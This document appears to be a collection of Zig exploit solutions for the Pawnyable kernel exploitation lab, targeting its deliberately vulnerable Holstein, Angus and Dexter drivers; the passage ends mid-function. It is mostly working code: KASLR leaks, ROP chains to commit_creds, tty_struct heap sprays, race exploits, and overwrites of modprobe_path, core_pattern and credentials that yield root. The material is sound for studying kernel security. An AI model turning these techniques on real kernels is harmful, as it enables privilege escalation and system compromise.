pwn checksec vuln.ko 2>&1

cat /proc/cpuinfo | grep -q -e 'smep.*smap' && echo 'SMEP/SMAP enabled'
cat /sys/devices/system/cpu/vulnerabilities/meltdown | grep -q -e 'PTI' && echo 'KPTI enabled'
cat /proc/cmdline | grep -q -e 'nokaslr' || echo 'KASLR enabled'

cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'

# reboot and run again
cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'

const std = @import("std");

pub fn main() !void {
    const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    defer std.posix.close(fd);

    var buf: [0x400 + 32]u8 = undefined;
    const bytes_read = try std.posix.read(fd, &buf);
    std.debug.dumpHex(buf[0..bytes_read]);
}

ropr --nosys --nojop -R '^(pop rdi;|pop rcx;|mov rsi, rax;.*|add rdi, rsi;.*) ret;' vmlinux

var POP_RDI: u64 = 0xffffffff811f61fd;
var POP_RCX: u64 = 0xffffffff8146ee3c;
var ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8: u64 = 0xffffffff81049576;
var MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8: u64 = 0xffffffff810a714a;

var KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
var PREPARE_KERNEL_CRED: u64 = 0xffffffff8106e240;
var COMMIT_CREDS: u64 = 0xffffffff8106e390;

fn ropchain(fd: posix.fd_t) !void {
    const file = (std.fs.File{ .handle = fd }).writer();
    var bw = std.io.bufferedWriter(file);
    const writer = bw.writer();

    try writer.writeByteNTimes('A', 0x400+8);
    try writer.writeAll(std.mem.asBytes(&[_]u64{
        POP_RDI,
        0,
        PREPARE_KERNEL_CRED,
        POP_RDI,
        0,
        POP_RCX,
        0, // make sub rsi, rcx a nop
        MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
        ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
        COMMIT_CREDS,

        KPTI_TRAMPOLINE,
        0, // junk
        0, // junk
        @intFromPtr(&ret2win),
        user_cs,
        user_rflags,
        user_rsp,
        user_ss,
    }));

    try bw.flush();
    unreachable;
}

fn adjust_offsets(kaslr_offset: u64) void {
    const gadgets = &[_]*u64{
        &POP_RDI,
        &POP_RCX,
        &ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
        &MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,

        &KPTI_TRAMPOLINE,
        &PREPARE_KERNEL_CRED,
        &COMMIT_CREDS,
    };
    for (gadgets) |g| {
        g.* += kaslr_offset;
    }
}

<<pawnyable-lib>>
<<lk01-1-ropchain>>

fn ret2win() noreturn {
    std.log.info("You won!!", .{});

    const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
    const env = [_:null]?[*:0]u8{};
    switch (posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
        else => unreachable,
    }
    unreachable;
}

fn leakBaseAddress(fd: posix.fd_t) !u64 {
    var buf: [0x408+8]u8 = undefined;
    _ = try posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[0x408..]).*;
    return ret - 0x13d33c;
}

pub fn main() !void {
    catchSigsegv(&whoami);
    saveState();

    const fd = try posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    defer posix.close(fd);

    const kernel_base = try leakBaseAddress(fd);
    std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&kernel_base)), .lower)});
    adjust_offsets(kernel_base-0xffffffff81000000);

    try ropchain(fd);
    unreachable;
}

whoami
./exploit

10c10
< MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");
31,32c31,32
<                         char __user *buf, size_t count,
<                         loff_t *f_pos)
---
>                            char __user *buf, size_t count,
>                            loff_t *f_pos)
34,35d33
<   char kbuf[BUFFER_SIZE] = { 0 };
<
38,39c36
<   memcpy(kbuf, g_buf, BUFFER_SIZE);
<   if (_copy_to_user(buf, kbuf, count)) {
---
>   if (copy_to_user(buf, g_buf, count)) {
51,52d47
<   char kbuf[BUFFER_SIZE] = { 0 };
<
55c50
<   if (_copy_from_user(kbuf, buf, count)) {
---
>   if (copy_from_user(g_buf, buf, count)) {
59d53
<   memcpy(g_buf, kbuf, BUFFER_SIZE);

fn spray(fds: []posix.fd_t) !void {
    for (0..fds.len) |i| {
        fds[i] = try posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660);
    }
}

const std = @import("std");

<<heap-spray>>

pub fn main() !void {
    var ttys: [100]posix.fd_t = undefined;
    defer for (ttys) |tty| posix.close(tty);
    try spray(ttys[0..50]);

    const fd = try posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    defer posix.close(fd);

    try spray(ttys[50..]);

    var buf: [0x400+0x100]u8 = [_]u8{'A'}**0x400 ++ [_]u8{0}**0x100;
    const bytes_read = try posix.read(fd, &buf);
    std.debug.dumpHex(buf[0x400..bytes_read]);
}

00007ffed91dc3f8  01 54 00 00 01 00 00 00  00 00 00 00 00 00 00 00  .T..............
00007ffed91dc408  00 50 D3 02 80 88 FF FF  80 88 C3 81 FF FF FF FF  .P..............
00007ffed91dc418  32 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  2...............
00007ffed91dc428  00 00 00 00 00 00 00 00  38 58 0D 03 80 88 FF FF  ........8X␍.....
00007ffed91dc438  38 58 0D 03 80 88 FF FF  48 58 0D 03 80 88 FF FF  8X␍.....HX␍.....
00007ffed91dc448  48 58 0D 03 80 88 FF FF  70 7D 73 02 80 88 FF FF  HX␍.....p}s.....
00007ffed91dc458  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffed91dc468  70 58 0D 03 80 88 FF FF  70 58 0D 03 80 88 FF FF  pX␍.....pX␍.....
00007ffed91dc478  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffed91dc488  90 58 0D 03 80 88 FF FF  90 58 0D 03 80 88 FF FF  .X␍......X␍.....
00007ffed91dc498  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffed91dc4a8  B0 58 0D 03 80 88 FF FF  B0 58 0D 03 80 88 FF FF  .X␍......X␍.....
00007ffed91dc4b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffed91dc4c8  00 00 00 00 00 00 00 00  D8 58 0D 03 80 88 FF FF  .........X␍.....
00007ffed91dc4d8  D8 58 0D 03 80 88 FF FF  00 00 00 00 00 00 00 00  .X␍.............
00007ffed91dc4e8  00 00 00 00 00 00 00 00  F8 58 0D 03 80 88 FF FF  .........X␍.....

// as of 5.10.7
const tty_struct = extern struct {
    const ld_semaphore = extern struct {
        const list_head = extern struct {
            next: usize = 0xdeadbeefdeadbeef,
            prev: usize = 0xcafebabecafebabe,
        };

        count: u64 = 0,
        wait_lock: i32 = 0,
        wait_readers: i32 = 0,
        read_wait: list_head = .{},
        write_wait: list_head = .{},
    };

	magic: i32 = 0x5401,
	kref: i32 = 0,
	dev: usize = 0,
	driver: usize, // must be a valid heap address
	ops: usize,
    index: i32 = 0,
    ldisc_sem: ld_semaphore = .{},
    // don't care about the rest

    pub fn init(ops_table: usize) tty_struct {
        // ops_table must live on the heap
        return .{
            .driver = ops_table,
            .ops = ops_table,
            .ldisc_sem = .{
                .read_wait = .{ .next = ops_table, .prev = ops_table },
                .write_wait = .{ .next = ops_table, .prev = ops_table },
            },
        };
    }
};
const tty_operations = extern struct {
	lookup: usize = 0,
	install: usize = 0,
	remove: usize = 0,
	open: usize = 0,
    close: usize = 0,
    shutdown: usize = 0,
    cleanup: usize = 0,
    write: usize = 0,
    put_char: usize = 0,
    flush_chars: usize = 0,
    write_room: usize = 0,
    chars_in_buffer: usize = 0,
    ioctl: usize,
};

fn leakKASLROffset(fd: posix.fd_t) !u64 {
    const ptmx_fops_addr: u64 = 0xffffffff81c38880;

    var buf: [0x400+@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
    _ = try posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - ptmx_fops_addr;
}

fn leakGBuf(fd: posix.fd_t) !u64 {
    const offset = comptime blk: {
        const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
        break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
    };
    var buf: [0x400+offset]u8 = undefined;
    _ = try posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - (buf.len-8);
}

fn posionTTYStruct(fd: posix.fd_t, g_buf_addr: u64) !void {
    const file = (std.fs.File{ .handle = fd }).writer();
    var bw = std.io.bufferedWriter(file);
    const writer = bw.writer();

    const fake_tty_ops = tty_operations{ .ioctl = PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP };
    try writer.writeAll(std.mem.asBytes(&fake_tty_ops));
    var n_written: usize = @sizeOf(@TypeOf(fake_tty_ops));
    n_written += try ropchain(writer);

    try writer.writeByteNTimes('A', 0x400 - n_written);
    try writer.writeAll(std.mem.asBytes(&tty_struct{ .driver = g_buf_addr, .ops = g_buf_addr })[0..@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]);

    try bw.flush();
}

cat /proc/kallsyms | grep -e 'modprobe_path' -e 'swapgs_restore_regs_and_return_to_usermode'

from pwn import *
vmlinux = ELF("./vmlinux")
hex(next(vmlinux.search("/sbin/modprobe\0")))

var PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP: u64 = 0xffffffff813a478a; // stack pivot gadget

var MOV_ADDROF_RAX_RDI: u64 = 0xffffffff8110840a;
var POP_RAX: u64 = 0xffffffff8113dd3c;
var POP_RDI_ADD_CL_CL: u64 = 0xffffffff81032f59;

var KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
var MODPROBE_PATH: u64 = 0xffffffff81e38180;

fn ropchain(writer: anytype) !usize {
    const chain = [_]u64{
        0, // junk
        0, // junk
        POP_RDI_ADD_CL_CL,
        std.mem.readInt(u64, "/tmp/x\x00\x00", .little),
        POP_RAX,
        MODPROBE_PATH,
        MOV_ADDROF_RAX_RDI,

        KPTI_TRAMPOLINE,
        0, // junk
        0, // junk
        @intFromPtr(&modprobePath),
        user_cs,
        user_rflags,
        user_rsp,
        user_ss,
    };
    try writer.writeAll(std.mem.asBytes(&chain));
    return std.mem.asBytes(&chain).len;
}

fn adjust_offsets(kaslr_offset: u64) void {
    const gadgets = &[_]*u64{
        &PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP,

        &MOV_ADDROF_RAX_RDI,
        &POP_RAX,
        &POP_RDI_ADD_CL_CL,

        &KPTI_TRAMPOLINE,
        &MODPROBE_PATH,
    };
    for (gadgets) |g| {
        g.* += kaslr_offset;
    }
}

<<pawnyable-lib>>
<<tty_struct>>
<<heap-spray>>
<<lk01-2-heap-leak>>
<<lk01-2-heap-overflow>>
<<lk01-2-rop>>

pub fn main() !void {
    catchSigsegv(&modprobePath);
    saveState();

    var ttys: [100]posix.fd_t = undefined;
    defer for (ttys) |tty| posix.close(tty);
    try spray(ttys[0..50]);

    const fd = try posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    defer posix.close(fd);

    try spray(ttys[50..]);

    const kaslr_offset = try leakKASLROffset(fd);
    std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
    adjust_offsets(kaslr_offset);

    const g_buf = try leakGBuf(fd);
    std.log.info("g_buf located at: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&g_buf)), .lower)});

    try posionTTYStruct(fd, g_buf);
    const ropchain_addr = g_buf + @sizeOf(tty_operations);

    var buf: [10]u8 = undefined;
    _ = try posix.read(fd, &buf);

    for (ttys) |tty| _ = linux.ioctl(tty, 0xdeadbeef, ropchain_addr);
}

whoami
./exploit
# execute bogus file
/tmp/unknown &> /tmp/null # /dev/null is priviledged
cat /tmp/whoisit

10c10
< MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");
21c21
<   g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
---
>   g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
35a36,40
>   if (count > BUFFER_SIZE) {
>     printk(KERN_INFO "invalid buffer size\n");
>     return -EINVAL;
>   }
>
48a54,58
>
>   if (count > BUFFER_SIZE) {
>     printk(KERN_INFO "invalid buffer size\n");
>     return -EINVAL;
>   }

from pwn import *
vmlinux = ELF("./vmlinux")
hex(next(vmlinux.search(b"core".ljust(128, b"\0"))))

<<pawnyable-lib>>
<<tty_struct>>
<<heap-spray>>

var MOV_ADDROF_RDX_RCX: u64 = 0xffffffff811b2d06;
var CORE_PATTERN: u64 = 0xffffffff81eb12e0;

fn leakKASLROffset(fd: posix.fd_t) !u64 {
    const ptmx_fops_addr = 0xffffffff81c39c60;
    var buf: [@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
    _ = try posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - ptmx_fops_addr;
}

fn leakHeap(fd: posix.fd_t) !u64 {
    const offset = comptime blk: {
        const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
        break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
    };
    var buf: [offset]u8 = undefined;
    _ = try posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - (buf.len-8);
}

fn aaw(fd: posix.fd_t, ttys: []posix.fd_t, g_buf_addr: u64, value: u32, address: u64) !void {
    _ = try posix.write(fd, std.mem.asBytes(&tty_struct{ .driver = g_buf_addr, .ops = g_buf_addr + @sizeOf(tty_struct), .ldisc_sem = .{ .read_wait = .{ .next = g_buf_addr, .prev = g_buf_addr }, .write_wait = .{ .next = g_buf_addr, .prev = g_buf_addr } } }) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_ADDROF_RDX_RCX }));
    for (ttys) |tty| if (.SUCCESS == posix.errno(linux.ioctl(tty, value, address))) break;
}

fn adjust_offsets(kaslr_offset: u64) void {
    const gadgets = &[_]*u64{
        &MOV_ADDROF_RDX_RCX,
        &CORE_PATTERN,
    };
    for (gadgets) |g| {
        g.* += kaslr_offset;
    }
}

pub fn main() !void {
    catchSigsegv(&corePattern);
    saveState();

    const fd = try posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    defer posix.close(fd);
    const fd2 = try posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    posix.close(fd2);

    var ttys: [100]posix.fd_t = undefined;
    defer for (ttys) |tty| posix.close(tty);
    try spray(ttys[0..]);

    const kaslr_offset = try leakKASLROffset(fd);
    std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
    adjust_offsets(kaslr_offset);

    const g_buf_addr = try leakHeap(fd);
    try aaw(fd, &ttys, g_buf_addr, std.mem.readInt(u32, "|/tm", .little), CORE_PATTERN);
    try aaw(fd, &ttys, g_buf_addr, std.mem.readInt(u32, "p/x\x00", .little), CORE_PATTERN+0x4);

    corePattern();
}

10c10
< MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v4 - Vulnerable Kernel Driver for Pawnyable");
14a15
> int mutex = 0;
20a22,27
>   if (mutex) {
>     printk(KERN_INFO "resource is busy");
>     return -EBUSY;
>   }
>   mutex = 1;
>
71a79
>   mutex = 0;

<<pin-to-core>>

var master_fd: ?posix.fd_t = null;
fn race_master(slave_sync: *std.Thread.ResetEvent, master_sync: *std.Thread.ResetEvent) void {
    while (true) {
        std.Thread.sleep(2);
        if (posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |mfd| {
            slave_sync.wait();
            slave_sync.reset();
            if (slave_fd) |_| {
                master_fd = mfd;
                master_sync.set();
                break;
            }
            posix.close(mfd);
        } else |err| switch (err) {
            error.DeviceBusy => {
                slave_sync.wait();
                slave_sync.reset();
            },
            else => unreachable,
        }
        master_sync.set(); // resume execution of slave
    }
}

var slave_fd: ?posix.fd_t = null;
fn race_slave(slave_sync: *std.Thread.ResetEvent, master_sync: *std.Thread.ResetEvent) void {
    while (true) {
        std.Thread.sleep(2);
        if (posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |sfd| {
            slave_fd = sfd;
            slave_sync.set();
            master_sync.wait(); // sleep and let master resume execution
            master_sync.reset();
            posix.close(sfd);
            slave_fd = null;
            if (master_fd) |_| break;
        } else |err| switch (err) {
            error.DeviceBusy => {
                slave_sync.set();
                master_sync.wait(); // sleep and let master resume execution
                master_sync.reset();
            },
            else => unreachable,
        }
    }
}

fn race() !posix.fd_t {
    std.debug.assert(try std.Thread.getCpuCount() > 1);

    var slave_sync = std.Thread.ResetEvent{};
    var master_sync = std.Thread.ResetEvent{};
    var t1 = try std.Thread.spawn(.{}, race_master, .{&slave_sync, &master_sync});
    var t2 = try std.Thread.spawn(.{}, race_slave, .{&slave_sync, &master_sync});

    try pinThreadToCore(t1.getHandle(), 0);
    try pinThreadToCore(t2.getHandle(), 1);

    t1.join();
    t2.join();

    std.log.info("Won the race", .{});
    defer master_fd = null;
    return master_fd.?;
}

fn spray(dangling_fd: posix.fd_t, tty_fd: *?posix.fd_t) void {
    var fds: [100]posix.fd_t = undefined;
    var i: usize = 0;
    defer for (0..i) |j| posix.close(fds[j]);
    while (i < fds.len) : (i += 1) {
        fds[i] = posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660) catch return;

        // check if dangling_fd point to a tty_struct
        var buf =  [_]u8{0} ** @sizeOf(@FieldType(tty_struct, "magic"));
        _ = posix.read(dangling_fd, &buf) catch return;
        if (std.mem.eql(u8, &buf, std.mem.asBytes(&tty_struct{ .ops = undefined, .driver = undefined })[0..buf.len])) {
            tty_fd.* = fds[i];
            return;
        }
    }
}

fn getTty(fd: posix.fd_t) !posix.fd_t {
    return for (0..2) |cpu| {
        var ret: ?posix.fd_t = null;
        var t = try std.Thread.spawn(.{}, spray, .{fd, &ret});
        try pinThreadToCore(t.getHandle(), cpu);
        t.join();
        if (ret) |tty_fd| {
            std.log.info("Heap spray succeeded on core {d}", .{cpu});
            break tty_fd;
        } else {
            std.log.warn("Heap spray failed on core {d}, retrying on {d}...", .{cpu, cpu+1});
        }
    } else error.SprayFailed;
}

<<pawnyable-lib>>
<<lk01-4-race>>
<<lk01-4-spray>>
<<tty_struct>>

var MOV_ADDROF_RDX_RCX: u64 = 0xffffffff811b72c6;
var MOV_EAX_ADDROF_RDX: u64 = 0xffffffff8145e3a8;

var aa_memoize: ?enum { read, write } = null;

fn aaw(fd: posix.fd_t, tty: posix.fd_t, g_buf_addr: u64, value: u32, address: u64) !void {
    switch (aa_memoize orelse .read) {
        .write => {},
        else => {
            _ = try posix.write(fd, std.mem.asBytes(&tty_struct.init(g_buf_addr + @sizeOf(tty_struct))) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_ADDROF_RDX_RCX }));
            aa_memoize = .write;
        },
    }

    switch (posix.errno(linux.ioctl(tty, value, address))) {
        .SUCCESS => {},
        else => return error.AAWFail,
    }
}

fn aar(fd: posix.fd_t, tty: posix.fd_t, g_buf_addr: u64, address: u64) !u32 {
    switch (aa_memoize orelse .write) {
        .read => {},
        else => {
            _ = try posix.write(fd, std.mem.asBytes(&tty_struct.init(g_buf_addr + @sizeOf(tty_struct))) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_EAX_ADDROF_RDX }));
            aa_memoize = .read;
        },
    }

    // we hijack the return value of ioctl, so we can't check it for errors
    return @intCast(0xffffffff & linux.ioctl(tty, 0xdeadbeef, address));
}

fn adjust_offsets(kaslr_offset: u64) void {
    const gadgets = &[_]*u64{
        &MOV_ADDROF_RDX_RCX,
        &MOV_EAX_ADDROF_RDX,
    };
    for (gadgets) |g| {
        g.* += kaslr_offset;
    }
}

fn leakKASLROffset(fd: posix.fd_t) !u64 {
    const ptmx_fops_addr: u64 = 0xffffffff81c3afe0;

    var buf: [@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
    _ = try posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - ptmx_fops_addr;
}

fn leakHeap(fd: posix.fd_t) !u64 {
    const offset = comptime blk: {
        const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
        break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
    };
    var buf: [offset]u8 = undefined;
    _ = try posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - (buf.len-8);
}

pub fn main() !void {
    const fd = try race();
    const tty = try getTty(fd);

    const kaslr_offset = try leakKASLROffset(fd);
    std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
    adjust_offsets(kaslr_offset);

    const g_buf = try leakHeap(fd);

    _ = try posix.prctl(.SET_NAME, .{@intFromPtr("okamikun"), 0, 0, 0});

    var addr: usize = g_buf - 0x1000000;
    const creds = while (addr < g_buf + 0x1000000) : (addr += 0x8) {
        if ((addr & 0xfffff) == 0)
            std.debug.print("searching... 0x{s}\n", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&addr)), .lower)});
        if (std.mem.eql(u8, "okamikun", std.mem.sliceAsBytes(&[_]u32{try aar(fd, tty, g_buf, addr), try aar(fd, tty, g_buf, addr+0x4)}))) {
            // task_struct is huge, I ain't copying that!
            // just remember that `comm` comes immediately after `creds`.
            break std.mem.readInt(u64, @ptrCast(std.mem.sliceAsBytes(&[_]u32{try aar(fd, tty, g_buf, addr-0x8), try aar(fd, tty, g_buf, (addr-0x8)+0x4)})), .little);
        }
    } else return error.HeapScanFailed;

    std.log.info("task_struct.creds = 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&creds)), .lower)});

    for (&[_]u64{@offsetOf(cred, "uid"), @offsetOf(cred, "euid")}) |offset|
        try aaw(fd, tty, g_buf, 0, creds+offset);

    whoami();
}

const cred = extern struct {
    usage: u32,
    uid: u32,
	gid: u32,
	suid: u32,
	sgid: u32,
	euid: u32,
	egid: u32,
	fsuid: u32,
	fsgid: u32,
};

const angus_ioctl = enum(u32) {
    INIT    = 0x13370001,
    SETKEY  = 0x13370002,
    SETDATA = 0x13370003,
    GETDATA = 0x13370004,
    ENCRYPT = 0x13370005,
    DECRYPT = 0x13370006,
};

const XorCipher = extern struct {
    key: [*]u8,
    data: [*]u8,
    keylen: usize,
    datalen: usize,
};

const request_t = extern struct {
    ptr: [*]u8,
    len: usize,
};

var zero_page: ?*allowzero XorCipher = null;
fn mmap_null() !*allowzero XorCipher {
    if (zero_page) |ret| {
        return ret;
    } else {
        const rc = linux.mmap(
            null,
            std.heap.page_size_min,
            linux.PROT.READ | linux.PROT.WRITE,
            posix.MAP{
                .TYPE = .PRIVATE,
                .FIXED = true,
                .ANONYMOUS = true,
                .POPULATE = true,
            },
            -1,
            0,
        );
        switch (posix.errno(rc)) {
            .SUCCESS => zero_page = @ptrFromInt(rc),
            .TXTBSY => return error.AccessDenied,
            .ACCES => return error.AccessDenied,
            .PERM => return error.PermissionDenied,
            .AGAIN => return error.LockedMemoryLimitExceeded,
            .BADF => unreachable,
            .OVERFLOW => unreachable,
            .NODEV => return error.MemoryMappingNotSupported,
            .INVAL => unreachable,
            .MFILE => return error.ProcessFdQuotaExceeded,
            .NFILE => return error.SystemFdQuotaExceeded,
            .NOMEM => return error.OutOfMemory,
            .EXIST => return error.MappingAlreadyExists,
            else => |err| return posix.unexpectedErrno(err),
        }
        return zero_page.?;
    }
}

fn aaw(fd: posix.fd_t, buf: []const u8, addr: usize) !void {
    var target_value: [128]u8 = undefined;
    std.debug.assert(buf.len <= target_value.len);
    try aar(fd, target_value[0..buf.len], addr);
    for (0..buf.len) |i| target_value[i] ^= buf[i];

    const ctx = try mmap_null();
    ctx.* = .{
        .key = @as([*]u8, &target_value),
        .keylen = buf.len,
        .data = @as([*]u8, @ptrFromInt(addr)),
        .datalen = buf.len,
    };

    const err = linux.ioctl(fd, @intFromEnum(angus_ioctl.ENCRYPT), @intFromPtr(&request_t{ .ptr = @ptrFromInt(1), .len = 0 }));
    switch (posix.errno(err)) {
        .SUCCESS => {},
        else => return error.AAWFail,
    }
}

fn aar(fd: posix.fd_t, buf: []u8, addr: usize) !void {
    const ctx = try mmap_null();
    ctx.* = .{
        .key = @constCast(@ptrCast(&[_]u8{0})),
        .keylen = 1,
        .data = @as([*]u8, @ptrFromInt(addr)),
        .datalen = buf.len,
    };

    const err = linux.ioctl(fd, @intFromEnum(angus_ioctl.GETDATA), @intFromPtr(&request_t{ .ptr = @as([*]u8, @ptrCast(@constCast(buf))), .len = buf.len }));
    switch (posix.errno(err)) {
        .SUCCESS => {},
        else => return error.AARFail,
    }
}

<<pawnyable-lib>>
<<lk02-types>>

var MODPROBE_PATH: u64 = 0xffffffff81e37e60;

pub fn main() !void {
    const fd = try posix.open("/dev/angus", .{ .ACCMODE = .RDWR }, 0o660);
    defer posix.close(fd);

    var buf: [8]u8 = undefined;

    var kaddr: usize = 0xffffffff81000000;
    while (kaddr < 0xffffffff80000000+0x40000000) : (kaddr += 0x100000) {
        if (aar(fd, &buf, kaddr)) {
            std.log.info("Kernel base address: 0x{x}", .{kaddr});
            break;
        } else |_| {}
    } else return error.KBaseAddressScanFailed;

    MODPROBE_PATH += kaddr-0xffffffff81000000;

    try aaw(fd, "/tmp/x\x00", MODPROBE_PATH);

    modprobePath();
}

whoami
./exploit
/tmp/unknown &> /tmp/null
cat /tmp/whoisit

const dexter_ioctl = enum(u32) {
    GET = 0xdec50001,
    SET = 0xdec50002,
};

const request_t = extern struct {
    ptr: [*]u8,
    len: usize,
};

const seq_operations = extern struct {
    start: usize,
    stop: usize,
    next: usize,
    show: usize,
};

const shm_file_data = extern struct {
	id: i32,
	ns: usize,
	file: usize,
	vm_ops: usize,
};

<<pin-to-core>>

fn raceIoctl(fd: posix.fd_t, buf: []u8, op: dexter_ioctl, req: *request_t, race_is_won: *bool) void {
    // read what's currently in filp->private_data.
    switch(posix.errno(linux.ioctl(fd, @intFromEnum(dexter_ioctl.GET), @intFromPtr(&request_t{ .ptr = @ptrCast(buf), .len = 8 })))) {
        .SUCCESS => {},
        else => unreachable,
    }
    var pd_sentinel: [8]u8 = undefined;
    @memcpy(&pd_sentinel, buf[0..8]);
    inline for (0..8) |i| buf[i] ^= 0xff;

    outer: while (true) {
        req.* = request_t{ .ptr = @ptrCast(buf), .len = 0 };

        std.Thread.yield() catch {};
        const err = linux.ioctl(fd, @intFromEnum(op), @intFromPtr(req));

        switch (posix.errno(err)) {
            .SUCCESS => {
                switch (op) {
                    // if we succeeded in reading, pd_vanguard is in the start of buf
                    .GET => {
                        if (std.mem.eql(u8, buf[0..8], &pd_sentinel)) break :outer;
                    },
                    // if we succeeded in writing, pd_vanguard should no longer be the start of buf
                    .SET => {
                        var tmp: [8]u8 = undefined;
                        switch(posix.errno(linux.ioctl(fd, @intFromEnum(dexter_ioctl.GET), @intFromPtr(&request_t{ .ptr = &tmp, .len = 8 })))) {
                            .SUCCESS => {},
                            else => unreachable,
                        }
                        if (!std.mem.eql(u8, tmp[0..8], &pd_sentinel)) break :outer;
                    },
                }
            },
            .INVAL => continue,
            else => {},
        }
    }
    std.log.info("Won the race", .{});
    race_is_won.* = true;
}

fn raceCorrupt(dst: *request_t, len: usize, are_we_there_yet: *bool) void {
    while (!are_we_there_yet.*) {
        std.Thread.sleep(2);
        dst.*.len = len;
    }
}

fn overwrite(fd: posix.fd_t, buf: []u8) !void {
    std.debug.assert(try std.Thread.getCpuCount() > 1);
    std.debug.assert(buf.len >= 32);

    var req: request_t = undefined;
    var race_is_won = false;

    var t1 = try std.Thread.spawn(.{}, raceIoctl, .{fd, buf, .SET, &req, &race_is_won});
    var t2 = try std.Thread.spawn(.{}, raceCorrupt, .{&req, buf.len, &race_is_won});
    try pinThreadToCore(t1.getHandle(), 0);
    try pinThreadToCore(t2.getHandle(), 1);
    t1.join();
    t2.join();
}

fn overread(fd: posix.fd_t, buf: []u8) !void {
    std.debug.assert(try std.Thread.getCpuCount() > 1);
    std.debug.assert(buf.len >= 32);

    var req: request_t = undefined;
